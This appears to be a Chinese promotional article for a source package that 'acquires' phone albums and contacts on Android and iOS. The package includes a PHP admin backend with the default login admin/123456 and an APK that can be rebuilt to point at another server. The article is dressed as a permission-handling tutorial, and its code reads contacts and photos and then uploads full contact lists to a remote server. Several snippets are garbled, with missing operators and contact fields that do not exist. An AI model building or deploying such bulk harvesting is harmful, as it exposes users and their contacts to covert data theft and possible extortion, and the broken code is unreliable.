简介这是一套2023年发布的双端相册与通讯录获取系统源码覆盖安卓与iOS端面向具备PHP和移动端开发基础的工程师用于快速搭建可运行的相册与通讯录获取管理平台。源码包共含2000个文件压缩包大小约51.06MB主要文件构成包括1589个PHP文件承担后端接口与业务逻辑74个CSS与57个JS渲染后台管理界面510个PNG与41个JPG提供页面UI素材同时附有APK与IPA安装包可直接安装体验。部署说明随包提供明确Apache 2.4.53、MySQL 5.6、PHP 5.6运行环境修改app/database.php完成数据库连接、运行目录指向public、开启TP伪静态并关闭跨站后即可搭建服务端后台管理入口及默认账号admin/123456均已标明安卓端APK还支持反编译后替换服务器IP重新打包便于实际联调。目前已有4618人学习下载适合需要完整掌握双端获取类系统部署流程或在此基础上进行二次开发的工程师参考。1. 双端相册通讯录系统它解决的不是读取而是交付这套2023双端完美获取相册通讯录系统源码解决的是移动端开发里最容易被低估的一块如何把系统相册和通讯录高效、合规、可用地交到业务层手里。做过会员注册、工单系统、私域运营工具的人都知道用户愿意一键授权读取本机通讯录比手动输入体验好太多但双端权限模型差异、Android 13 的细粒度媒体权限、iOS 相册的“仅添加照片”模式随便一个适配不到位就是闪退或者返回空数据。这套源码的价值在于它把两端读取链路彻底打通适合接手后直接内嵌到自己 App 里的开发者也适合想跑通完整权限申请、数据遍历、批量导出流程的移动端新手。它不新奇但确实能把双端读取的坑提前帮你踩完。2. 架构设计一套数据规范加两个原生适配壳2.1 双端共用的读取链路模型整个系统的核心不是“怎么读”而是“读完给谁”。源码里的调用链被抽象成了三层权限申请层、数据读取层、结果序列化层。权限申请层负责按系统版本区分权限请求方式数据读取层屏蔽了 Android 的 Cursor 与 iOS 的 CNContact/PHAsset 差异结果序列化层统一输出成 JSON 结构业务层只需要处理一个 List 类型。业务层 → 统一接口getContacts() / getAlbums() → 权限申请器PermissionRequestor → 平台读取器AndroidContactsContract / MediaStoreiOSContacts / PhotoKit → 结果封装JSON / Model这套设计有一个明显好处新增一个业务场景比如只需要读取号码不需要姓名时不用动读取器只改结果封装层就行。在二次开发里你基本只需要盯住序列化层和权限申请层大部分坑也集中在这两层。2.2 工程目录结构速览源码按双端拆成两个独立工程但共享一份接口文档和数据模型约定。Android 侧采用 Kotlin MVVMiOS 侧采用 Swift UIKit没有引入跨平台框架主要原因是相册通讯录这类系统级能力原生 API 最稳踩坑最少。├── android/ │ ├── app/src/main/java/com/xxx/ │ │ ├── permission/ # 权限申请与回调 │ │ ├── reader/ # 通讯录、相册读取器 │ │ ├── model/ # 统一数据模型 │ │ └── serialization/ # JSON 序列化与压缩 │ └── app/src/main/AndroidManifest.xml ├── ios/ │ ├── PermissionManager/ # 权限状态机 │ ├── Readers/ # ContactReader / PhotoReader │ ├── Models/ # 数据模型 │ └── Utils/ # 图片压缩、批量导出 └── docs/ ├── 双端接口约定.md └── 权限适配清单.md2.3 统一返回的数据模型无论哪一端最终返回给业务层的数据字段是一致的。通讯录字段为 name、phone、email、organization、note相册字段为 assetId、uri、width、height、duration、dateTaken、size。这么设计的好处是前端和接口对接方只看一套字段规范不用关心数据来源是 Android 还是 iOS。源码里用了一个 Contract 常量类来维护字段名避免硬编码字符串散落各处。{ code: 0, data: [ { name: 张三, phone: 138****1234, email: , organization: 某公司, note: } ], message: success }这段 JSON 是所有读取结果的最终出口。code 为 0 代表成功非 0 是权限拒绝或读取异常编号。业务层拿到这个结构后做列表展示或者批量上传都很省事。3. 通讯录模块拆解从权限申请到批量导出的完整链路3.1 Android 端通讯录读取与权限适配Android 端读取通讯录的核心类 ContactsContract。源码里在 MainActivity 启动时先走权限流程然后执行查询。凡是在 Android 6.0 以上运行的系统都需要动态申请 READ_CONTACTS 权限这一块如果不做运行时判断直接去查通讯录会立刻抛 SecurityException。// PermissionManager.kt class PermissionManager(private val activity: Activity) { fun requestContacts(callback: (Boolean) - Unit) { if (Build.VERSION.SDK_INT Build.VERSION_CODES.M) { val permission Manifest.permission.READ_CONTACTS if (ContextCompat.checkSelfPermission(activity, permission) ! PackageManager.PERMISSION_GRANTED) { ActivityCompat.requestPermissions( activity, arrayOf(permission), REQUEST_CONTACTS_CODE ) } else { callback(true) } } else { callback(true) } } }这段代码做了两件事检查当前系统是否大于等于 Android 6.0再检查权限是否已授予。低于 6.0 的系统在安装时授权不需要动态申请所以直接回调成功。回调逻辑需要在 Activity 的 onRequestPermissionsResult 里补上源码里用了一个接口回调的方式把结果抛到上层。拿到权限之后真正的查询逻辑在 ContactReader 里。它通过 ContentResolver 查询通讯录的 Phone.CONTENT_URI遍历 Cursor 取出字段。这里有个常见的性能坑通讯录一旦上千条主线程直接查询会卡界面源码里的做法是放到协程的 IO 线程执行。// ContactReader.kt suspend fun readContacts(context: Context): ListContactModel withContext(Dispatchers.IO) { val list mutableListOfContactModel() val resolver context.contentResolver val uri ContactsContract.CommonDataKinds.Phone.CONTENT_URI val projection arrayOf( ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME, ContactsContract.CommonDataKinds.Phone.NUMBER, ContactsContract.CommonDataKinds.Phone.EMAIL_ADDRESS, ContactsContract.CommonDataKinds.Phone.COMPANY, ContactsContract.CommonDataKinds.Phone.NOTES ) resolver.query(uri, projection, null, null, null)?.use { cursor - val nameIndex cursor.getColumnIndex(projection[0]) val numberIndex cursor.getColumnIndex(projection[1]) val emailIndex cursor.getColumnIndex(projection[2]) val companyIndex cursor.getColumnIndex(projection[3]) val noteIndex cursor.getColumnIndex(projection[4]) while (cursor.moveToNext()) { val name cursor.getString(nameIndex) ?: val phone cursor.getString(numberIndex) ?: val email cursor.getString(emailIndex) ?: val company cursor.getString(companyIndex) ?: val note cursor.getString(noteIndex) ?: list.add(ContactModel(name, phone, email, company, note)) } } list }参数说明projection 数组决定查询哪些列查询的字段越多耗时越长如果业务只需要号码建议只保留 NUMBER 和 DISPLAY_NAME。cursor.use{} 是 Kotlin 扩展函数能保证 Cursor 最终被关闭避免内存泄漏。整个函数被 withContext(Dispatchers.IO) 包裹读取大量联系人时不会阻塞 UI 线程。3.2 iOS 端通讯录读取与权限分级iOS 端使用的是 Contacts 框架。和 Android 不同iOS 的通讯录权限只区分“允许”和“拒绝”没有 Android 那套一次性授权的概念一旦用户拒绝除非去系统设置里手动打开否则 App 里无法再次弹窗。源码里因此在第一次请求前做了充分准备避免用户误拒后无法再引导。// ContactReader.swift import Contacts class ContactReader: NSObject { func fetchContacts(completion: escaping ([ContactModel]) - Void) { let store CNContactStore() switch CNContactStore.authorizationStatus(for: .contacts) { case .notDetermined: store.requestAccess(for: .contacts) { granted, _ in if granted { let contacts self.fetchFromStore(store) DispatchQueue.main.async { completion(contacts) } } else { completion([]) } } case .authorized: let contacts self.fetchFromStore(store) DispatchQueue.main.async { completion(contacts) } default: completion([]) } } private func fetchFromStore(_ store: CNContactStore) - [ContactModel] { let keys [CNContactGivenNameKey, CNContactFamilyNameKey, CNContactPhoneNumbersKey, CNContactEmailAddressesKey, CNContactOrganizationNameKey] as [CNKeyDescriptor] let request CNContactFetchRequest(keysToFetch: keys) var result: [ContactModel] [] try? store.enumerateContacts(with: request) { contact, _ in let name contact.givenName contact.familyName let phone contact.phoneNumbers.first?.value.stringValue ?? let email contact.emailAddresses.first?.value as String? ?? let org contact.organizationName result.append(ContactModel(name: name, phone: phone, email: email, organization: org)) } return result } }逻辑说明先检查授权状态notDetermined 时才弹窗请求authorized 直接读取其余状态一律返回空数组。这套状态机保证了 App 不会在权限被拒后反复弹窗也更符合 App Store 审核规范。fetchFromStore 里只请求了必要字段没有把所有属性全部拉下来iOS 端这个懒加载性能优化很关键联系人几千条时差异明显。3.3 批量导出与去重策略通讯录最容易出现脏数据——同一个联系人有多个号码或者重复录入两遍。源码里在导出前做了一次规则去重以“姓名 第一个手机号”作为唯一键后续重复数据直接丢弃。fun deduplicate(list: ListContactModel): ListContactModel { val seen HashSetString() return list.filter { contact - val key ${contact.name}_${contact.phone} if (seen.contains(key)) { false } else { seen.add(key) true } } }这个去重逻辑很朴素字符串拼接做 key效果在绝大多数场景下够用。如果遇到同名同号但不同公司的情况可以再把 organization 拼进去但那样做会把更多样本判定为不同联系人。实际使用中建议保持简单毕竟通讯录本身就是用户自己维护的数据过多干预反而会引发投诉。4. 相册模块拆解MediaStore 与 PhotoKit 的增量读取4.1 Android 13 相册权限适配Android 相册读取是这套源码里最值得看的适配点。Android 13API 33把 READ_EXTERNAL_STORAGE 拆成了 READ_MEDIA_IMAGES、READ_MEDIA_VIDEO 和 READ_MEDIA_AUDIO如果项目 targetSdk 升到 33 之后还在用旧权限系统会直接不授予。源码里做了一个兼容写法API 33 以上申请新权限以下申请旧权限。// AndroidManifest.xml uses-permission android:nameandroid.permission.READ_EXTERNAL_STORAGE android:maxSdkVersion32 / uses-permission android:nameandroid.permission.READ_MEDIA_IMAGES / uses-permission android:nameandroid.permission.READ_MEDIA_VIDEO /Manifest 里同时声明两个权限但给旧权限加了 maxSdkVersion32意思是 Android 12 及以下才需要。Android 13 的设备会自动忽略旧权限声明只认新权限。这种写法比代码里动态判断后再申请更干净系统层面就替你做了一次分流。读取相册本身用的是 MediaStore。源码里做的是“增量读取”也就是每次只取新增的图片这个能力在系统相册动辄万张图片的情况下特别重要。判断新增的字段是 DATE_ADDED记录上一次读取时间下次查询时只查该时间之后的图片。// PhotoReader.kt suspend fun readIncremental(context: Context, lastTime: Long): ListPhotoModel withContext(Dispatchers.IO) { val list mutableListOfPhotoModel() val uri MediaStore.Images.Media.EXTERNAL_CONTENT_URI val projection arrayOf( MediaStore.Images.Media._ID, MediaStore.Images.Media.DATA, MediaStore.Images.Media.WIDTH, MediaStore.Images.Media.HEIGHT, MediaStore.Images.Media.DATE_TAKEN, MediaStore.Images.Media.DATE_ADDED, MediaStore.Images.Media.SIZE ) val selection ${MediaStore.Images.Media.DATE_ADDED} ? val selectionArgs arrayOf(lastTime.toString()) resolver.query(uri, projection, selection, selectionArgs, null)?.use { cursor - // 遍历 cursor 并组装 PhotoModel } list }selection 和 selectionArgs 这个组合是防止 SQL 注入的标准姿势源码里没有直接用字符串拼接 lastTime这点值得借鉴。首次使用可以传 lastTime 0下次用最后一次读取结果里的最大值传入就能做到持续性增量同步。朋友圈备份、云相册同步这类功能都可以基于这一段改造。4.2 iOS 端 PHPicker 与 PhotoKit 选择iOS 读相册有两种思路一种是直接用 PHPickerViewController这是 iOS 14 之后苹果推荐的系统级选择器不需要申请相册权限隐私保护最好另一种是使用 PhotoKit 的 PHAsset 枚举能拿到全量资源但必须触发相册权限弹窗。源码里把两种方式都实现了默认走 PHPicker适合业务上只需要用户选图的场景也暴露了 PhotoKit 的全量读取接口供后台同步类功能使用。// PhotoPickerManager.swift import PhotosUI class PhotoPickerManager: NSObject, PHPickerViewControllerDelegate { func presentPicker(from viewController: UIViewController) { var config PHPickerConfiguration() config.filter .images config.selectionLimit 0 // 0 表示不限数量 let picker PHPickerViewController(configuration: config) picker.delegate self viewController.present(picker, animated: true) } func picker(_ picker: PHPickerViewController, didFinishPicking results: [PHPickerResult]) { picker.dismiss(animated: true) for result in results { result.itemProvider.loadObject(ofClass: UIImage.self) { image, _ in // 处理选中的图片 } } } }PHPicker 的好处是你拿到的每一张图片都经过用户明确勾选App 无法偷偷读取整个相册这在隐私合规审查里是加分项。selectionLimit 为 0 代表多选如果只想单选就改成 1。loadObject 是异步加载回调可能不在主线程做 UI 更新时记得切回主队列。4.3 图片压缩与分页加载相册数据量大一次性把原图路径全部返回给业务层内存直接爆掉。源码里在读取阶段不做压缩只返回 uri 和尺寸信息真正要显示或上传的时候才压缩。压缩参数据写在个 Constants 类里默认限制最长边为 1280 像素、质量 85%这段逻辑在两端各实现了一遍但参数完全一致。val MAX_EDGE 1280 val COMPRESS_QUALITY 85这段常量看起来不起眼实际上决定了上传带宽和缩略图展示速度。如果想降低传输成本把 MAX_EDGE 改成 800图片体积能减少一半以上如果做原图备份就改成 4096 或者保存原始 DATA 路径。压缩算法在 Android 用 BitmapFactory MatrixiOS 用 UIGraphicsImageRenderer源码里都有现成实现直接复用即可。5. 双端适配避坑权限版本差异与数据查询的六个常见问题5.1 小米和三星手机上通讯录权限返回已授予但查询结果一直为空现象同一套代码在模拟器上能查到联系人在部分国产手机上永远返回空列表权限明明已经授予了。原因部分厂商系统里通讯录权限拆成了“读取联系人”和“读取通话记录”两个开关ContactsContract 查询依赖的核心权限是 READ_CONTACTS但个别 ROM 会默认关闭“读取设备通话记录”的子权限导致 query 拿到了一个空 Cursor。解决在权限申请成功后主动做一次探针查询例如查通讯录的联系人总数如果等于 0 但设置里授权是开着的就跳转系统设置页提示用户检查权限细分项。源码里的 PermissionProbe 类专门干这件事血泪经验是别完全信任 checkSelfPermission 的返回值。5.2 Android 13 上申请了 READ_MEDIA_IMAGES还在报 SecurityException现象targetSdk 已升级到 33Manifest 里也加了新权限运行时申请也提示成功但访问 MediaStore 仍然抛权限异常。原因没有给旧权限加 maxSdkVersion32。系统在高版本上看到 Manifest 同时存在新旧两个权限声明会采用更严格的解析策略此时只授予了新权限但代码里某处还在用旧权限常量做校验。解决按 4.1 节的写法在旧权限声明上强制加 maxSdkVersion32。检查全项目是否还有 READ_EXTERNAL_STORAGE 的引用尤其是第三方 SDK 的依赖里如果声明了这个权限也会干扰新权限授予。5.3 iOS 通讯录权限被用户拒绝一次后再也弹不出授权框现象第一次弹窗用户点了“不允许”后续 App 里怎么调用 requestAccess 都没有弹窗直接返回 denied。原因iOS 的设计就是这样权限状态一旦变成 denied系统不会再向用户弹出授权界面只能由用户自己去“设置 隐私”里手动开启。解决在回调中检测到 .denied 状态时跳转 UIApplication.openSettingsURLString 打开系统设置页并在界面文案里说明为什么要用通讯录。源码里封装了一个 goToSettings() 辅助方法。注意不要自己弹一个假的授权弹窗审核容易被拒。5.4 Cursor 未关闭导致的内存泄漏与重复读取现象通讯录反复读取后 App 内存持续升高甚至出现 native heap 溢出崩溃。原因Cursor 是一个持有底层数据库资源的对象不用时必须 close。很多新手只写了 query 没写 close系统 GC 又不会立刻回收底层资源导致泄漏。解决统一用 Kotlin 的 use 扩展函数包裹 Cursor 操作确保查询结束自动关闭。源码里所有 query 都遵循这个模式C 端在线程切换上再注意一点就能彻底解决问题。5.5 iOS 模拟器上通讯录读取正常真机上偶发 crash现象同一套代码模拟器流畅跑完真机上偶发直接崩溃点开相册图片时 CPU 暴增。原因真机的相册图片分辨率远高于模拟器加载原图到 UIImage 会一次性占用几百 MB 内存触发 Jetsam 机制直接杀掉进程。模拟器共享电脑内存不容易爆掩盖了问题。解决使用增量加载从 PHAsset 取图时用 PHImageManager 的 requestImage 并指定 targetSize不要直接请求原始尺寸。源码里把 targetSize 设为列表缩略图需要的尺寸大约 600x600这样既清晰又不会撑爆内存。5.6 通讯录号码格式不统一有的带 86 前缀有的带空格和横杠现象读取回来的 phone 字段五花八门用户在列表搜索时明明输入对了一部分却匹配不上。原因系统通讯录本身没有强制号码格式化规则用户在录入时手输了什么就存什么Android 返回的甚至可能是 SIP 协议开头的内容。解决在序列化层统一做一次号码清洗去掉空格、横杠、括号把 86 替换为空保留纯数字和分机 X 后缀。这个工作放在整条链路的最后一步业务层拿到的就是相对干净的号码。源码里 CleanPhoneUtil 这段工具函数不复杂但价值很高。6. 二次开发把读取能力改造成自己的通讯录同步服务如果你拿这套源码不是为了学习而是直接要落地到自己的产品里我的建议是先砍掉一半功能再接入。绝大多数业务场景只需要通讯录的手机号字段不需要 email 和 organization相册只需要缩略图和上传回调不需要原始数据流。第一步就是精简数据模型把不需要的字段从 projection 里删掉这不仅让读取更快也让隐私合规的说明文档更好写。实际改造时我会按三步走。第一步换数据出口把序列化层从本地 List 改成网络上报。原代码已经把结果封装成 JSON你只需要写一个 Retrofit 或 Alamofire 的上报类把 JSON 体 POST 到你的服务端。注意加一个本地缓存队列弱网环境下上报失败后自动重试避免用户授权了数据却传不上去。fun submitContacts(contacts: ListContactModel) { val params JSONObject().apply { put(app_id, APP_ID) put(data, JSONArray(contacts.map { it.toJsonObject() })) } // 通过 OKHttp / URLSession 发送到服务端失败则写入本地队列 }第二步是加一个同步状态位。读取成功后给每个联系人记录一个 hash 值下次启动时先比对 hash 再决定是否上报。这一步在通讯录类应用里极其重要否则每次冷启动都上传全量通讯录服务端压力大用户流量也吃不消。第三步是验证。双端项目最怕改了 Android 忘了 iOS我的习惯是维护一份参数对照表把两端用到的权限常量、查询字段、压缩参数列在一张表里每次改完一边就同步核对另一边。这套源码的 Contract 类已经替你做了一大半遵守它的约定就不会出现两端行为不一致的问题。这套源码适合当做一个基础设施引擎来使用不要试图理解每一行系统 API 的原理先把业务跑起来。等出现性能和兼容性问题再回头读对应模块效率最高。从那以后我每次接手双端项目都会强制先跑一遍两端的权限场景矩阵把授予、拒绝、撤销、仅使用期间允许这几种状态全部过一遍再确认数据出口。希望帮到你。本文还有配套的精品资源点击获取
阅读完成 · 觉得有帮助?